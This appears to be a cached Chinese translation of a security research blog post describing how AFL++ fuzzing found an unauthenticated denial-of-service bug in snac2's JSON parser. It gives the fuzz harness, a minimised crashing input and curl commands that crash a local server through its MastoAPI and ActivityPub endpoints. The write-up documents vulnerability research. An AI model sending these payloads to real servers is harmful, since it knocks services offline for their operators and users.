趣味模糊测试——snac2 中未经认证的拒绝服务漏洞
摘要
本文介绍通过模糊测试发现 snac2 的 JSON 解析器中存在未经认证的拒绝服务漏洞,攻击者可通过精心构造的输入远程导致崩溃。
<p><a href="https://lobste.rs/s/zjnc5o/fuzzing_for_fun_unauthenticated_denial">评论</a></p>
查看缓存全文
缓存时间: 2026/07/20 09:35
# 趣味模糊测试——snac2 中未经验证的拒绝服务漏洞
来源:https://nullenvk.pl/posts/02-snac2-json/
我没有继续手动审查源代码,而是决定采用一种称为**模糊测试**的技术,来寻找可能使解析器(位于 `xs_json.h` 中)崩溃的输入。如果你不熟悉模糊测试,它本质上是一种通过提供随机生成的输入来测试代码的方法。在最基本的情况下,将 `/dev/urandom` 管道输入程序并等待其崩溃,就是一种非常原始的模糊测试形式。然而,对于更复杂的程序,仅仅管道输入 `/dev/urandom` 效率极低,并且很可能需要很长时间才能检测到某些导致崩溃的更复杂模式。因此,诸如 **AFL++** 之类的专用模糊测试程序通过使用一个**初始语料库**(即一组有效输入)来生成新输入,这些输入会通过多种策略进行持续**变异**,并采用相对复杂的**遗传算法**。此外,通过使用编译时的**二进制插桩**,一组经过修改的编译器可以插入 AFL 特有的指令,从而告知模糊测试程序某个输入到达了多少函数和代码路径。最终,这种方法使得模糊测试程序能够尽可能多地测试可用的代码路径。这种方法非常强大,以至于即使只有非常简单的输入语料库,AFL++ 在模糊测试一个完整的 JPEG 解析器时,也能**凭空拉出 JPEG 图片**(https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html)。
在 snac2 项目中,我决定模糊测试 `xs_json_load` 函数,该函数用于解析以文件形式存储的 JSON 数据(snac2 内部将所有数据流视为 `FILE` 指针,这一事实也相当有趣)。为此,我需要准备一个模糊测试**框架**——一个非常简单的程序,将待测试的函数暴露给模糊测试程序。对于 AFL++,我只需要一个简单的 C 程序,它从 `argv[1]` 读取文件路径,打开文件,将其传递给解析器,然后释放结果:
```c
#include <stdio.h>
#define XS_IMPLEMENTATION
#include "xs.h"
#include "xs_json.h"
int main(int argc, char **argv) {
if(argc < 2) return 0;
FILE *f = fopen(argv[1], "r");
xs_val *root = xs_json_load(f);
if (root) {
xs_free(root);
}
fclose(f);
return 0;
}
```
为了利用 AFL 的二进制插桩,我必须使用包装过的 C 编译器来生成二进制文件。假设我们在 snac2 源代码树内的一个子目录中进行研究:
```
afl-clang-fast -I.. fuzz_xs_json.c -o fuzz_xs_json
```
之后,我将一个简单的测试用例(`{"company": "a", "year": 2024}`)放入 `input` 目录,并启动模糊测试程序:
```
afl-fuzz -i input -o findings -- ./fuzz_xs_json @@
```
几分钟内,我就开始看到 `findings/default/crashes` 目录中出现第一个崩溃,并迅速确认了这些崩溃。在检测到的较简单案例中,有这样一个:
```
[ "TSo\u0 So\uF So\uFcccccc Ag {
```
经过几分钟的调整,我将上述测试用例简化为一个更加干净的形式(确认 `\u0000` 是崩溃的根本原因):
```
["", "dummy\u0000..........................AAAAAA
```
最后,为了确认这是真实的崩溃,而不仅仅与我的模糊测试框架有关,我决定在一个真实的、本地运行的 snac2 服务器上测试这个 payload,通过将其发送到 MastoAPI 端点(服务器立即崩溃):
```
curl -X POST -H "Content-Type: application/json" http://localhost:8001/api/v1/WHATEVER -d '["", "dummy\u0000..........................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```
稍微修改 payload 后,我也通过标准 ActivityPub 端点使服务器崩溃:
```
curl -X POST -H "Content-Type: application/activity+json" http://localhost:8001 -d '["", "dummy\u0000.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", ""]'
```
相似文章
NeuronFuzz: 安全神经元引导的模糊测试在LLM安全评估中的应用
NeuronFuzz是一个白盒模糊测试框架,利用内部安全神经作为连续反馈来评估LLM对越狱攻击的安全性,并在多个模型上展示了高发现率。
Show HN: Mezz, 一个可通过curl使用的WiFi沙箱,用于物联网渗透测试
Mezz 是一个自包含的WiFi沙箱工具,用于检查物联网设备流量,提供一个隔离网络,带有DNS日志记录和可选的MITM代理,全部可通过Docker部署在具有AP功能的WiFi的Linux主机上。
突破防御:利用段错误绕过 Intel CET
该仓库提供了面向段错误编程(SFOP)的工件,这是一种利用信号处理器绕过 Intel CET 的新型利用技术。它包含针对 Nginx 和 Ladybird 的 PoC 利用和演示。
CVE-2026-33696:从模式名称到 n8n 中的远程代码执行
这个 CVE 描述了 n8n 中的一个原型污染漏洞,可通过 Git 节点利用链被利用以实现远程代码执行。
@Dinosn: Dnsmasq DNS远程堆缓冲区溢出
Dnsmasq中的一个堆缓冲区溢出漏洞(CVE-2026-2291)允许通过恶意上游DNS服务器进行远程代码执行。该问题在2.73版本中引入,并在2.92rel2和2.93版本中修复。